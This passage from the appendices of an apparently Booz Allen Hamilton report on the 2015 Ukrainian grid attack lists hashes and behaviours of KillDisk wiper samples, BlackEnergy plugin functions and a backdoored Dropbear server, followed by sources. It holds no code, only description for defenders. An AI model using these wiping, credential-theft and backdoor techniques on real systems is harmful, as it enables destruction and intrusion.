KILLDISK (SAMPLE 1) SHA1: aa0aaa7002bdfe261ced99342a6ee77e0afa2719 SHA-256: 30862ab7aaa6755b8fab0922ea819fb48487c063bea4a84174afbbd65ce26b86 MD5: 108fedcb6aa1e79eb0d2e2ef9bc60e7a Type: Win32 Executable 270 First Upload: 2016-03-22 11:54:29 UTC 271 Compile Timestamp: 2015-10-24 18:19:30 272 Final Modification Timestamp: 2015:10:24 19:19:30+01:00 273 File Size: 110592 bytes274 Language Settings: English US 275 File Names: 1.1276 Technical Notes: This KillDisk sample executes a destructive disk overwrite function. Following execution, data may be recoverable. Execution Routine: 1. Shortly after running, the executable creates a process C:\WINDOWS\svchost.exe -service that runs as a child of services.exe; it runs in such fashion because it is installed as service msDefenderSvc 2. The executable then overwrites (with zeros) the first 131072 bytes of \Device\Harddisk0\DR0, effectively rendering the OS unusable upon reboot. 3. While running, the machine sustains a critical error, and upon reboot displays Operating system not found. The machine sustains this critical system error before additional files are overwritten, indicating some data may be recoverable. Dropped files include: c:\windows\svchost.exe Related Samples: APPENDIX B.15: KILLDISK (SAMPLE 2) SHA1: 8ad6f88c5813c2b4cd7abab1d6c056d95d6ac569 SHA-256: f52869474834be5a6b5df7f8f0c46cbc7e9b22fa5cb30bee0f363ec6eb056b95 MD5: 72bd40cd60769baffd412b84acc03372 Booz Allen Hamilton Type: Win32 Executable 277 First Upload: 2015-11-10 09:31:41278 Compile Timestamp: 2015-10-24 18:19:30 279 Final Modification Timestamp: 2015:10:24 19:19:30+01:00 280 File Size: 110592 bytes281 Language Settings: English US 282 File Names: svchost.exe283 Technical Notes: The execution process for this sample is identical to the process detailed in Appendix B.14: KillDisk (Sample 1). Related Samples: Appendix B.14: KillDisk (Sample 1) (MD5:108fedcb6aa1e79eb0d2e2ef9bc60e7a) APPENDIX B.16: KILLDISK (SAMPLE 3) SHA1: f3e41eb94c4d72a98cd743bbb02d248f510ad925 SHA-256: c7536ab90621311b526aefd56003ef8e1166168f038307ae960346ce8f75203d MD5: 7361b64ddca90a1a1de43185bd509b64 Type: Win32 Executable 284 First Upload: 2015-12-23 22:34:19 285 Compile Timestamp: 1999:01:06 23:02:00+01:00 286 Final Modification Timestamp: 1999:01:06 23:02:00+01:00 287 File Size: 98304 bytes288 Language Settings: English US 289 File Names:290 tsk.exe danger Ukranian.bin.exe Technical Notes: This KillDisk sample executes a destructive disk overwrite function. In addition to destroying critical OS data, the sample also overwrites thousands of additional files, including log files. 291 Following execution, data is not likely recoverable. In initial analysis, the executable would not run from cmdline on Win5.1. The file was patched using Ollydbg, allowing it to run as a child of services.exe as -LocalService Execution Routine: 1. The executable overwrites (with blanks/spaces) first 131072 bytes of \Device\Harddisk0\DR0, effectively rendering the OS unusable upon reboot. 2. After overwriting OS data, the executable continues to overwrite thousands of files, causing the system to remain powered but unusable. Data destruction takes long time and does not immediately trigger a critical system error. 3. Following reboot, the system displays reboot error: Operating system not found. The executable also drops hundreds of 5-byte files in C:\windows\temp\==00####=.tmp, where #### is an incrementing numeric. Related Samples: boozallen.com/ics A P P E N D I X B . 1 7: KILLDISK (SAMPLE 4) SHA1: 16f44fac7e8bc94eccd7ad9692e6665ef540eec4 SHA-256: 5d2b1abc7c35de73375dd54a4ec5f0b060ca80a1831dac46ad411b4fe4eac4c6 MD5: cd1aa880f30f9b8bb6cf4d4f9e41ddf4 Type: Win32 Executable First Upload: 2015-10-25 01:31:24 292 Compile Timestamp: 2015:10:24 14:23:02 293 +01:00 Final Modification Timestamp: 2015:10:24 14:23:02+01:00 294 File Size: 90112 bytes295 Language Settings: English US 296 File Names:297 crab.exe ololo 2.exe ololo.exe Technical Notes: This KillDisk sample executes a destructive disk overwrite function. Following execution, data may be recoverable. Execution Routine: 1. The executable runs as own process rather than running an embedded file as a child process, as was observed in other samples. 2. Upon execution, the first 131072 bytes of \Device\Harddisk0\DR0 are overwritten with zeros, effectively rendering the OS unusable upon reboot. 3. While running, the machine sustains a critical error, and upon reboot displays Operating system not found. The machine sustains the critical system error before additional files are overwritten, indicating some data may be recoverable. Related Samples: Booz Allen Hamilton APPENDIX B.18: KILLDISK (SAMPLE 5) SHA1: 6d6ba221da5b1ae1e910bbeaa07bd44aff26a7c0 SHA-256: 11b7b8a7965b52ebb213b023b6772dd2c76c66893fc96a18a9a33c8cf125af80 MD5: 66676deaa9dfe98f8497392064aefbab Type: Win32 Executable 298 First Upload: 2015-10-25 23:07:26 299 Compile Timestamp: 2015-10-24 13:49:03300 Final Modification Timestamp: 2015:10:24 14:49:03+01:00 301 File Size: 126976 bytes302 Language Settings: English US 303 File Names:304 trololo.exe 123.txt ololo.exe ololo.txt virus_ololo.dat Technical Notes: This KKillDisk sample executes a destructive disk overwrite function. In addition to destroying critical OS data, the sample also overwrites thousands of additional files, including log files.305 Following execution, data is not likely recoverable. Execution Routine: 1. The executable runs as own process rather than running an embedded file as a child process, as was observed in other samples. 2. The executable overwrites (with blanks/spaces) the first 131072 bytes of \Device\Harddisk0\ DR0, effectively rendering the OS unusable upon reboot. 3. After overwriting OS data, the executable continues to overwrite thousands of files, causing the system to remain powered but unusable. Data destruction takes long time and does not immediately trigger a critical system error. 4. Following reboot, the system displays reboot error: Operating system not found. Related Samples: boozallen.com/ics APPENDIX C: BlackEnergy Plugins BlackEnergy (BE) was first observed in 2007 and has since been used by a wide range of threat actors, predominantly criminal groups, to conduct a diverse collection of malicious campaigns.306 BE has been observed as an enabling tool in distributed denial-of-service (DDoS) attacks, theft of banking credentials, widespread reconnaissance and cyberespionage,307 and ultimately disruptive industrial control systems (ICS) attacks in Ukraine. The BE plugins identified reflect the diverse use of this malware, and the significant overlap in functionality across different plugins indicates that several distinct groups are actively using the tool. At least 14 BE plugins have been identified in public reporting, including:308,309 FS.dll: Functions as a data exfiltration tool; gathers documents and private keys by search for specific file extensions SI.dll: Searches infected machines for specific configuration and operational data JN.dll: Functions as a parasitic infector; fixes checksum values in PE headers, fixes CRC32 Nullsoft value, and deletes digital signatures to avoid invalidation KI.dll: Records user key strokes on infected machines PS.dll: Searches infected machines for user credentials SS.dll: Captures screenshots on infected machines VS.dll: Functions as a network discovery and remote execution tool. Scans the infected network to identify connected network resources, retrieves remote desktop credentials, and attempts to establish connections. Uses PsExec, which is embedded in the plugin, to gather system information and launch executables on remote machines TV.dll: Searches for TeamViewer versions 6 If the targeted application is identified, the plugin sets an additional password, creating an additional backdoor into the compromised system RD.dll: Functions as a pseudo remote desktop server UP.dll: Used to update the hosted malware DC.dll: Identifies Windows accounts on the infected system BS.dll: Conducts system profiling through queries of system hardware, BIOS, and Windows information DSTR.dll: Functions as a logic bomb. At a specified time, the plugin rewrites files with specific extensions with random data, deletes itself, and deletes the first 11 sectors of system drive, then rewrites all remaining data SCAN.dll: Functions as a network scanner on infected systems. Of particular interest in the attacks against Ukrainian electricity distributors are the SI and PS plugins. As plugins designed specifically to search for credential data, SI or PS are the likely plugins used following the initial infection. Data destruction was also a component of the final stages of the attack, and though BE has a dedicated data destruction plugin, DSTR.dll, public reporting indicates that the disk-wiping component of the attack was achieved using the KillDisk malware. boozallen.com/ics The SI plugin gathers a wide range of systems data. Using the systeminfo.exe utility, SI gathers configuration information, including OS version, privileges, current time, up time, idle time, and proxy.310 SI also identifies:311 Installed applications, using the uninstall program registry Process list, using the tasklist.exe utility IP configurations, using the ipconfig.exe utility Network connections, using the netstat.exe utility Routing tables, using the route.exe utility Traceroute and Ping information to Google, using tracert.exe and ping.exe Mail, browser, and instant messaging clients. Of particular interest is its targeting of password managers and stored user credentials.312 SI is designed to pull credentials from The Bat! email client, Mozilla password manager, Google Chrome password manager, Outlook and Outlook Express, Internet Explorer, and Windows Credential Store, including credentials for Windows Live messenger services, Remote Desktop, and WinINET.313 If any of these Booz Allen Hamilton applications or services were deployed on the targeted systems, they would present a viable avenue for gathering the valid user credentials that the threat actors ultimately obtained in their attack. The PS.dll plugin is also specifically designed to search and exfiltrate credentials,314 and may have been used in the attack. Similarly, the KI.dll may have been used to record and transfer keystrokes during user authentication, as some public reporting speculates.315 Detail on the specific function of these two plugins was not listed in public sources, and samples of the .dll files were not located for analysis. Of the 15 plugins mentioned in this report, most were initially developed for BE2, though they could be recompiled for use with BE3.316 According to reporting in September 2015, SI was the only plugin analyzed by security researchers that had been updated for use with BE3 at that time;317 this indicates SI may have been the tool used in the December 2015 attacks. Later reporting, in January 2015, indicated that all 14 of the plugins had been modified for compatibility with BE3.318 APPENDIX D: Alternate Remote Access Trojans Though the primary tool in the Ukraine attacks was BlackEnergy (BE) 3, as noted above, several other remote access trojans (RAT) were observed in the phishing campaign leading up to the attacks.319 Several reports discussed the use of a modified version of Dropbear,320,321,322 an open-source SSH server and client executable designed as a lightweight server primarily for Linux-based embedded systems.323 As with BE3, the modified Dropbear was launched using a Visual Basic (VB) script av delivered via a weaponized Microsoft (MS) Excel document.324 At launch, the server is set to listen at port 6789.325 The modified version of the Dropbear server contained two backdoors, a hardcoded public key authentication process, and a hardcoded username and password, allowing threat actors to authenticate into the targeted system.326 One of the benefits, from an attacker s perspective, of using a RAT such as the modified Dropbear server, is that it is not inherently malicious, and unlike other RATs, it may not be recognized by automated scanners designed to recognize potentially malicious files.327 Using an opensource SSH client like Dropbear in the initial infection would also limit the risk of exposing a more complex and valuable piece of malware, such as BE3; if the malware is discovered, it would not represent a significant loss from the attacker s perspective. During analysis of BE3 malware samples, analysts did not find any technical link between BE3 and the other referenced RATs: GCat, Dropbear, and Kryptik. It is possible, as some public reporting indicates, that these additional trojans were used by the same threat actors that conducted the attack on the electrical grid; in the attack the threat actors used at least two separate malware applications, BE3 and KillDisk. There is no technical evidence to confirm these additional trojans were used by the same group though, and it is possible they had been delivered to the targeted systems as part of separate, unrelated attacks. Appendix B.6: Dropbear Installer (DropbearRun.vbs) (MD5: 0af5b1e8eaf5ee4bd05227bf53050770) boozallen.com/ics APPENDIX E: Sources IR-ALERT-H-16-043-01AP Cyber-Attack Against Ukrainian Critical Infrastructure, US Department of Homeland Security Industrial Control System Computer Emergency Response Team, March 7, 2016, accessed July 12, 2016, hxxps://info.publicintelligence.net/NCCIC-UkrainianPowerAttack.pdf. TSN, December 24, 2015, accessed April 13, 2016, http://ru.tsn.ua/ukrayina/iz-za-hakerskoy-ataki-obestochilo-polovinu-ivano-frankovskoy-oblasti-550406.html. , December 23, 2015, accessed July 12, 2016, hxxp://www.oe.if.ua/showarticle.php?id=3413. BlackEnergy2/3. Cys Centrum, June 1, 2016, accessed July 12, 2016, hxxps://cys-centrum.com/ru/news/black_energy_2_3. Blake Sobczak and Peter Behr, Inside the diabolical Ukrainian hack that put the U.S. grid on high alert, Environment & Energy Publishing, July 18, 2016, accessed July 21, 2016, hxxp://archive.is/lnnBf. Robert M. Lee, Michael J. Assante, and Tim Conway, Analysis of the Cyber Attack on the Ukrainian Power Grid Defense Use Case, SANS Institute and Electricity Information Sharing and Analysis Center, March 18, 2016, accessed July 12, 2016, hxxps://ics.sans.org/media/E-ISAC_SANS_Ukraine_DUC_5.pdf. IR-ALERT-H-16-043-01AP Cyber-Attack Against Ukrainian Critical infrastructure, US Department of Homeland Security Industrial Control System Computer Emergency Response Team, March 7, 2016, accessed July 12, 2016, hxxps://info.publicintelligence.net/NCCIC-UkrainianPowerAttack.pdf. Blackenergy & Quedagh: The convergence of crimeware and APT attacks, F-Secure Labs Security Response, accessed July 12, 2016, hxxps://www.f-secure.com/documents/996508/1030745/blackenergy_whitepaper.pdf. Robert Lipovsky and Anton Cherapanov, Last-minute paper: Back in BlackEnergy: 2014 targeted attacks in the Ukraine and Poland , Virus Bulletin, September 25, 2015, accessed July 12, 2016, hxxps://www.virusbulletin.com/conference/vb2014/ abstracts/back-blackenergy-2014-targeted-attacks-ukraine-and-poland. BlackEnergy2/3. Cys-Centrum, June 1, 2016, accessed August 15, 2016, hxxp://cys-centrum.com/ru/news/black_energy_2_3. Kyle Wilhoit, KillDisk and BlackEnergy Are Not Just Energy Sector Threats, Trend Micro, February 11, 2016, accessed July 20, 2016, hxxp://blog.trendmicro.com/trendlabs-security-intelligence/killdisk-and-blackenergy-are-not-just-energy-sector-threats/. BlackEnergy2/3. Cys-Centrum, June 1, 2016, accessed August 15, 2016, hxxp://cys-centrum.com/ru/news/black_energy_2_3. Ibid. Ibid. Ibid. Ibid. Stephen Ward, iSIGHT discovers zero-day vulnerability CVE-2014-4114 used in Russian cyber-espionage campaign, iSightPartners, October 14, 2014, accessed August 15, 2016, hxxps://www.isightpartners.com/2014/10/cve-2014-4114/. BlackEnergy2/3. Cys-Centrum, June 1, 2016, accessed August 15, 2016, hxxp://cys-centrum.com/ru/news/black_energy_2_3. Stephen Ward, iSIGHT discovers zero-day vulnerability CVE-2014-4114 used in Russian cyber-espionage campaign, iSightPartners, October 14, 2014, accessed August 15, 2016, hxxps://www.isightpartners.com/2014/10/cve-2014-4114/. BlackEnergy2/3. Cys-Centrum, June 1, 2016, accessed August 15, 2016, hxxp://cys-centrum.com/ru/news/black_energy_2_3. Ibid. boozallen.com/ics Booz Allen Hamilton Ibid. Ibid. Ibid. Black Energy, CERT-UA, September 11, 2012, accessed July 19, 2016, hxxp://cert. gov.ua/?p=2370. Aleksey Yasinskiy, DISMANTLING BLACKENERGY, PART 3 ALL ABOARD! SOCPrime, March 29, 2016, accessed August 19, 2016, hxxps://socprime.com/en/blog/dismantling-blackenergy-part-3-all-aboard/. Kyle Wilhoit, KillDisk and BlackEnergy Are Not Just Energy Sector Threats, Trend Micro, February 11, 2016, accessed July 20, 2016, hxxp://blog.trendmicro.com/trendlabs-security-intelligence/killdisk-and-blackenergy-are-not-just-energy-sector-threats/. Ibid. 19-20 2016 Cys-Centrum, January 29, 2016, accessed August 22, 2016, hxxps://cys-centrum.com/ru/news/attack_on_energy_facilities_jan_ps. Robert Lipovsky, New wave of cyberattacks against Ukrainian power industry, We Live Security, January 20, 2016, accessed August 22, 2016, hxxp://www.welivesecurity.com/2016/01/20/new-wave-attacks-ukrainian-power-industry/. 19-20 2016 Cys-Centrum, January 29, 2016, accessed August 22, 2016, hxxps://cys-centrum.com/ru/news/attack_on_energy_facilities_jan_ps. Ibid. Russian Hackers plan energy subersion in Ukraine, Ukrinform, December 28, 2015, accessed July 19, 2016, hxxp://www.ukrinform.net/rubric-crime/1937899-russian-hackers-plan-energy-subversion-in-ukraine.html. Pavel Polityuk, Ukraine sees Russian hand in cyber attacks on power grid, Reuters, February 12, 2016, accessed August 22, 2016, hxxp://www.reuters.com/article/us-ukraine-cybersecurity-idUSKCN0VL18E. Jose Nazario, BlackEnergy DDoS Bot Analysis Available, Arbor Networks, October 12, 2007, accessed July 14, 2016, hxxps://www.arbornetworks.com/blog/asert/blackenergy-ddos-bot-analysis-available/. Kelly Jackson Higgins, New BlackEnergy Trojan Targeting Russian, Ukrainian Banks, DarkReading, March 4, 2010, accessed July 14, 2016, hxxp://www.darkreading.com/vulnerabilities---threats/new-blackenergy-trojan-targeting-russian-ukrainian-ban ks/d/d-id/1133120. Brian Prince, Russian Banking Trojan BlackEnergy 2 Unmasked at RSA, eWeek, March 4, 2010, accessed July 14, 2016, hxxp://www.eweek.com/c/a/Security/Russian-Banking-Trojan-BlackEnergy-2-Unmasked-at-RSA-883053. Brian Prince, Security Researcher Asserts Russian Role in Georgia Cyber-attacks, eWeek, August 13, 2008, accessed July 14, 2016, hxxp://www.eweek.com/c/a/Security/Security-Researcher-Asserts-Russian-Role-in-Georgia-Cyber-Attacks. John Hultquist, Sandworm Team Targeting SCADA Systems, iSight Partners, October 21, 2014, accessed July 14, 2016, hxxps://www.isightpartners.com/tag/blackenergy-malware/. Jim Finkle, Russian hackers target NATO, Ukraine and others: iSight, Reuters, October 14, 2014, accessed July 14, 2016, hxxp://www.reuters.com/article/us-russia-hackers-idUSKCN0I308F20141014. Black Energy, CERT-UA, September 11, 2015, accessed July 13, 2016, hxxp://cert. gov.ua/?p=2370. Blackenergy & Quedagh: The convergence of crimeware and APT attacks, F-Secure Labs Security Response, accessed July 12, 2016, hxxps://www.f-secure.com/documents/996508/1030745/blackenergy_whitepaper.pdf. Ukrainian Lawmakers Introduce a Bill on Nationalizing Russia s Assets, Russia Insider, April 23, 2015, accessed July 14, 2016, hxxp://russia-insider.com/en/ukrainian-lawmakers-introduce-bill-nationalizing-russias-assets/5993. Ukrainian MPs propose to nationalize Russian assets, People Investigator, April 4, 2015, accessed July 14, 2016, hxxp:// peopleinvestigator.us/politics/308-ukrainian-mps-propose-to-nationalize-russian-assets.html. Kim Zetter, Inside the Cunning Unprecedented Hack of Ukraine s Power Grid, Wired, March 3, 2016, accessed July 13, 2016, hxxps://www.wired.com/2016/03/inside-cunning-unprecedented-hack-ukraines-power-grid/. List of persons and entities under EU restrictive measures over the territorial integrity of Ukraine, Council of the European Union, September 15, 2015, accessed July 14, 2016, hxxp://www.consilium.europa.eu/en/press/press-releases/2015/09/ pdf/150915-sanctions-table---persons--and-entities_pdf/. Brad Well, Corporte Governance in Ukraine: Passing Go, Concorde Capital, October 2011, accessed July 14, 2016, hxxp:// concorde.ua/en/getfile/129/3/. Pierluigi Paganini, BlackEnergy infected also Ukrainian Mining and Railway Systems, Security Affairs, February 13, 2016, accessed July 14, 2016, hxxp://securityaffairs.co/wordpress/44452/hacking/blackenergy-mining-and-railway-systems.html. Maria Snegovaya, Putin s information Warfare in Ukraine: Soviet Origins of Russia s Hybrid Warfare, Institute for the Study of War, September 2015, accessed July 14, 2016, hxxp://understandingwar.org/sites/default/files/Russian%20Report%201%20 Putin s%20Information%20Warfare%20in%20Ukraine-%20Soviet%20Origins%20of%20Russias%20Hybrid%20Warfare.pdf. Anna Shamanska, Explainer: Why Ukraine Supplies Electricity To Crimea, And Why It Stopped, Radio Free Europe, Radio Liberty, July 14, 2016, accessed July 14, 2016, hxxp://www.rferl.org/content/ukraine-crimea-power-supply-electricity-explainer/27384812.html. Neil MacFarquhar, Crimea in Dark After Power Lines Are Blown Up, New York Times, November 22, 2015, accessed July 14, 2016, hxxp://www.nytimes.com/2015/11/23/world/europe/power-lines-to-crimea-are-blown-up-cutting-off-electricity. html?_r=0. Crimea hit by power blackout and Ukraine trade boycott, BBC News, November 23, 2015, accessed July 14, 2016, hxxp:// www.bbc.com/news/world-europe-34899491. Anna Shamanska, Explainer: Why Ukraine Supplies Electricity To Crimea, And Why It Stopped, Radio Free Europe, Radio Liberty, July 14, 2016, accessed July 14, 2016, hxxp://www.rferl.org/content/ukraine-crimea-power-supply-electricity-explainer/27384812.html. Dragonfly: Cyberespionage Attacks Against Energy Suppliers, Symantec, July 7, 2014, accessed July 19, 2016, hxxps://www. symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western_Energy_ Suppliers.pdf. Alert (ICS-ALERT-14-281-01E), US Department of Homeland Security Industrial Control System Computer Emergency Response Team, December 10, 2014, modified March 2, 2016, accessed July 12, 2016, hxxps://ics-cert.us-cert.gov/alerts/ ICS-ALERT-14-281-01B. Michael J. Assante and Robert M. Lee, The Industrial Control System Cyber Kill Chain, SANS Institute, October 2015, accessed July 12, 2016, hxxps://www.sans.org/reading-room/whitepapers/ICS/industrial-control-system-cyber-kill-chain-36297. Eric M. Hutchins, Michael J. Clopperty, and Rohan M. Amin, Intelligence-Driven Computer Network Defense Informed by Analysis of Adversary Campaigns and Intrusion Kill Chains, Lockheed martin Corporation, 2011, accessed September 12, 2016, hxxp://www.lockheedmartin.com/content/dam/lockheed/data/corporate/documents/LM-White-Paper-Intel-DrivenDefense.pdf. Kim Zetter, Inside the Cunning Unprecedented Hack of Ukraine s Power Grid, Wired, March 3, 2016, accessed July 13, 2016, hxxps://www.wired.com/2016/03/inside-cunning-unprecedented-hack-ukraines-power-grid/. IR-ALERT-H-16-043-01AP Cyber-Attack Against Ukrainian Critical Infrastructure, US Department of Homeland Security Industrial Control System Computer Emergency Response Team, March 7, 2016, accessed July 12, 2016, hxxps://info.publicintelligence.net/NCCIC-UkrainianPowerAttack.pdf. Ibid. boozallen.com/ics Booz Allen Hamilton Ibid. Ibid. IR-ALERT-H-16-043-01AP Cyber-Attack Against Ukrainian Critical Infrastructure, US Department of Homeland Security Industrial Control System Computer Emergency Response Team, March 7, 2016, accessed July 12, 2016, hxxps://info.publicintelligence.net/NCCIC-UkrainianPowerAttack.pdf. Remote Terminal Unit RTU560 System Description Release 6.2, ABB Utilities GmbH, May 2003, accessed August 22, 2016, vfservis.cz/files/000290_RTU560_SD_R6.pdf. Kim Zetter, Inside the Cunning Unprecedented Hack of Ukraine s Power Grid, Wired, March 3, 2016, accessed July 13, 2016, hxxps://www.wired.com/2016/03/inside-cunning-unprecedented-hack-ukraines-power-grid/. IR-ALERT-H-16-043-01AP Cyber-Attack Against Ukrainian Critical Infrastructure, US Department of Homeland Security Industrial Control System Computer Emergency Response Team, March 7, 2016, accessed July 12, 2016, hxxps://info.publicintelligence.net/NCCIC-UkrainianPowerAttack.pdf. Kim Zetter, Inside the Cunning Unprecedented Hack of Ukraine s Power Grid, Wired, March 3, 2016, accessed July 13, 2016, hxxps://www.wired.com/2016/03/inside-cunning-unprecedented-hack-ukraines-power-grid/. Peter Behr and Blake Sobczak, Grid hack exposes troubling security gaps for local utilities, Environment and Energy Publishing, July 20, 2016, accessed August 22, 2016, hxxp://www.eenews.net/stories/1060040519. Ibid. ICS-CERT Monitor, ICS-CERT, November/December 2015, accessed October 26, 2016, hxxps://ics-cert.us-cert.gov/sites/ default/files/Monitors/ICS-CERT_Monitor_Nov-Dec2015_S508C.pdf. Ibid. Ongoing Sophisticated Malware Campaign Compromising ICS (Update B), ICS-CERT, last updated November 17, 2015, accessed October 26, 2016, hxxps://web.archive.org/web/20151117164746/https://ics-cert.us-cert.gov/alerts/ ICS-ALERT-14-281-01B. Bill Gertz, Moscow Suspected in Hack of U.S. Industrial Control Systems, Washington Free Beacon, October 31, 2014, accessed October 26, 2016, hxxp://freebeacon.com/national-security/ moscow-suspected-in-hack-of-u-s-industrial-control-systems/. Ongoing Sophisticated Malware Campaign Compromising ICS (Update B), ICS-CERT, last updated November 17, 2015, accessed October 26, 2016, hxxps://web.archive.org/web/20151117164746/https://ics-cert.us-cert.gov/alerts/ ICS-ALERT-14-281-01B. 35-110 PJSC Kyivoblenergo, January 2, 2016, accessed August 22, 2016, hxxp://www.koe.vsei.ua/koe/documents/Zvedena_forma_I_2016(14-03-16).pdf. PJSC EK Chernivtsioblenergo, accessed August 22, 2016, hxxp://www.oblenergo.cv.ua/about.php. Company Overview of Public Joint Stock Company Prykarpattyaoblenergo, Bloomberg, accessed August 22, 2016, hxxp:// www.bloomberg.com/Research/stocks/private/snapshot.asp?privcapid=2559975. Galician Computer Company, accessed August 22, 2016, htxxtp://galcomcomp.com/index. php/ru/nashi-proekty. Comprehensive Analysis Report on Ukraine Power System Attacks, Antiy Labs, March 16, 2016, accessed July 12, 2016, hxxp://www.antiy.net/p/comprehensive-analysis-report-on-ukraine-power-system-attacks/. Michael J. Assante and Robert M. Lee, The Industrial Control System Cyber Kill Chain, SANS Institute, October 2015, accessed July 12, 2016, hxxps://www.sans.org/reading-room/whitepapers/ICS/industrial-control-system-cyber-kill-chain-36297. GReAT, BlackEnergy APT Attacks in Ukraine employ spearphishing with Word documents, SecureList, January 28, 2016, accessed July 12, 2016, hxxps://securelist.com/blog/research/73440/ blackenergy-apt-attacks-in-ukraine-employ-spearphishing-with-word-documents/. Udi Shamir, Analyzing a New Variant of BlackEnergy 3 Likely Insider-Based Execution, SentinelOne, 2016, accessed July 12, 2016, hxxps://www.sentinelone.com/wp-content/uploads/2016/01/BlackEnergy3_WP_012716_1c.pdf. Robert Lipovsky and Anton Cherapanov, Last-minute paper: Back in BlackEnergy: 2014 targeted attacks in the Ukraine and Poland, Virus Bulletin, September 25, 2015, accessed July 12, 2016, hxxps://www.virusbulletin.com/conference/vb2014/ abstracts/back-blackenergy-2014-targeted-attacks-ukraine-and-poland. Blackenergy & Quedagh: The convergence of crimeware and APT attacks, F-Secure Labs Security Response, accessed July 12, 2016, hxxps://www.f-secure.com/documents/996508/1030745/blackenergy_whitepaper.pdf. Ibid. Pavel Polityuk, Ukraine sees Russian hand in cyber attacks on power grid, Reuters, February 12, 2016, accessed August 22, 2016, hxxp://www.reuters.com/article/us-ukraine-cybersecurity-idUSKCN0VL18E. IR-ALERT-H-16-043-01AP Cyber-Attack Against Ukrainian Critical Infrastructure, US Department of Homeland Security Industrial Control System Computer Emergency Response Team, March 7, 2016, accessed July 12, 2016, hxxps://info.publicintelligence.net/NCCIC-UkrainianPowerAttack.pdf. Robert M. Lee, Michael J. Assante, and Tim Conway, Analysis of the Cyber Attack on the Ukrainian Power Grid Defense Use Case, SANS Institute and Electricity Information Sharing and Analysis Center, March 18, 2016, accessed July 12, 2016, hxxps://ics.sans.org/media/E-ISAC_SANS_Ukraine_DUC_5.pdf. BlackEnergy2/3. Cys Centrum, June 1, 2016, accessed July 12, 2016, hxxps://cys-centrum.com/ru/news/black_energy_2_3. Ibid. Ibid. IR-ALERT-H-16-043-01AP Cyber-Attack Against Ukrainian Critical Infrastructure, US Department of Homeland Security Industrial Control System Computer Emergency Response Team, March 7, 2016, accessed July 12, 2016, hxxps://info.publicintelligence.net/NCCIC-UkrainianPowerAttack.pdf. byt3bl33d3r, Gcat, GitHub, June 9, 2016, accessed July 14, 2016, hxxps://github.com/byt3bl33d3r/gcat/blob/master/ README.md. Matt Johnston, Dropbear SSH, University of Western Australia University Computer Club, accessed July 12, 2016, hxxps:// matt.ucc.asn.au/dropbear/dropbear.html. Dianne Lagrimas, TROJ_KRYPTIK, Trend Micro, October 9, 2012, accessed July 14, 2016, hxxp://www.trendmicro.com/vinfo/ us/threat-encyclopedia/malware/TROJ_KRYPTIK. IR-ALERT-H-16-043-01AP Cyber-Attack Against Ukrainian Critical Infrastructure, US Department of Homeland Security Industrial Control System Computer Emergency Response Team, March 7, 2016, accessed July 12, 2016, hxxps://info.publicintelligence.net/NCCIC-UkrainianPowerAttack.pdf. UISGCON11. 2015 Cys-Centrum, June 12, 2015, accessed August 22, 2016, hxxps://cys-centrum.com/ru/news/uisgcon11_2015#pic-5. Robert M. Lee, Michael J. Assante, and Tim Conway, Analysis of the Cyber Attack on the Ukrainian Power Grid Defense Use Case, SANS Institute and Electricity Information Sharing and Analysis Center, March 18, 2016, accessed July 12, 2016, hxxps://ics.sans.org/media/E-ISAC_SANS_Ukraine_DUC_5.pdf. boozallen.com/ics IR-ALERT-H-16-043-01AP Cyber-Attack Against Ukrainian Critical Infrastructure, US Department of Homeland Security Industrial Control System Computer Emergency Response Team, March 7, 2016, accessed July 12, 2016, hxxps://info.publicintelligence.net/NCCIC-UkrainianPowerAttack.pdf. 100. Robert Lipovsky and Anton Cherapanov, Back in BlackEnergy: 2014 targeted attacks in the Ukraine and Poland, Virus Bulletin, October 14, 2014, accessed July 12, 2016, hxxps://www.youtube.com/watch?v=I77CGqQvPE4. 101. Blackenergy & Quedagh: The convergence of crimeware and APT attacks, F-Secure Labs Security Response, accessed July 12, 2016, hxxps://www.f-secure.com/documents/996508/1030745/blackenergy_whitepaper.pdf. 102. Ibid. 103. Robert Lipovsky and Anton Cherapanov, Last-minute paper: Back in BlackEnergy: 2014 targeted attacks in the Ukraine and Poland, Virus Bulletin, September 25, 2015, accessed July 12, 2016, hxxps://www.virusbulletin.com/conference/vb2014/ abstracts/back-blackenergy-2014-targeted-attacks-ukraine-and-poland. 104. Blackenergy & Quedagh: The convergence of crimeware and APT attacks, F-Secure Labs Security Response, accessed July 12, 2016, hxxps://www.f-secure.com/documents/996508/1030745/blackenergy_whitepaper.pdf. 105. Robert Lipovsky and Anton Cherapanov, Last-minute paper: Back in BlackEnergy: 2014 targeted attacks in the Ukraine and Poland, Virus Bulletin, September 25, 2015, accessed July 12, 2016, hxxps://www.virusbulletin.com/conference/vb2014/ abstracts/back-blackenergy-2014-targeted-attacks-ukraine-and-poland. 106. IR-ALERT-H-16-043-01AP Cyber-Attack Against Ukrainian Critical Infrastructure, US Department of Homeland Security Industrial Control System Computer Emergency Response Team, March 7, 2016, accessed July 12, 2016, hxxps://info.publicintelligence.net/NCCIC-UkrainianPowerAttack.pdf. 107. Kim Zetter, Inside the Cunning Unprecedented Hack of Ukraine s Power Grid, Wired, March 3, 2016, accessed July 13, 2016, hxxps://www.wired.com/2016/03/inside-cunning-unprecedented-hack-ukraines-power-grid/. 108. Aleksey Yasinskiy, DISMANTLING BLACKENERGY, PART 3 ALL ABOARD! SOCPrime, March 29, 2016, accessed August 19, 2016, hxxps://socprime.com/wp-content/uploads/2016/03/blackenergy-p3_16-1.jpg. 109. Robert M. Lee, Michael J. Assante, and Tim Conway, Analysis of the Cyber Attack on the Ukrainian Power Grid Defense Use Case, SANS Institute and Electricity Information Sharing and Analysis Center, March 18, 2016, accessed July 12, 2016, hxxps://ics.sans.org/media/E-ISAC_SANS_Ukraine_DUC_5.pdf. Booz Allen Hamilton 110. Michael J. Assante and Robert M. Lee, The Industrial Control System Cyber Kill Chain, SANS Institute, October 2015, accessed July 12, 2016, hxxps://www.sans.org/reading-room/whitepapers/ICS/industrial-control-system-cyber-kill-chain-36297. 111. Robert M. Lee, Michael J. Assante, and Tim Conway, Analysis of the Cyber Attack on the Ukrainian Power Grid Defense Use Case, SANS Institute and Electricity Information Sharing and Analysis Center, March 18, 2016, accessed July 12, 2016, hxxps://ics.sans.org/media/E-ISAC_SANS_Ukraine_DUC_5.pdf. 112. IR-ALERT-H-16-043-01AP Cyber-Attack Against Ukrainian Critical Infrastructure, US Department of Homeland Security Industrial Control System Computer Emergency Response Team, March 7, 2016, accessed July 12, 2016, 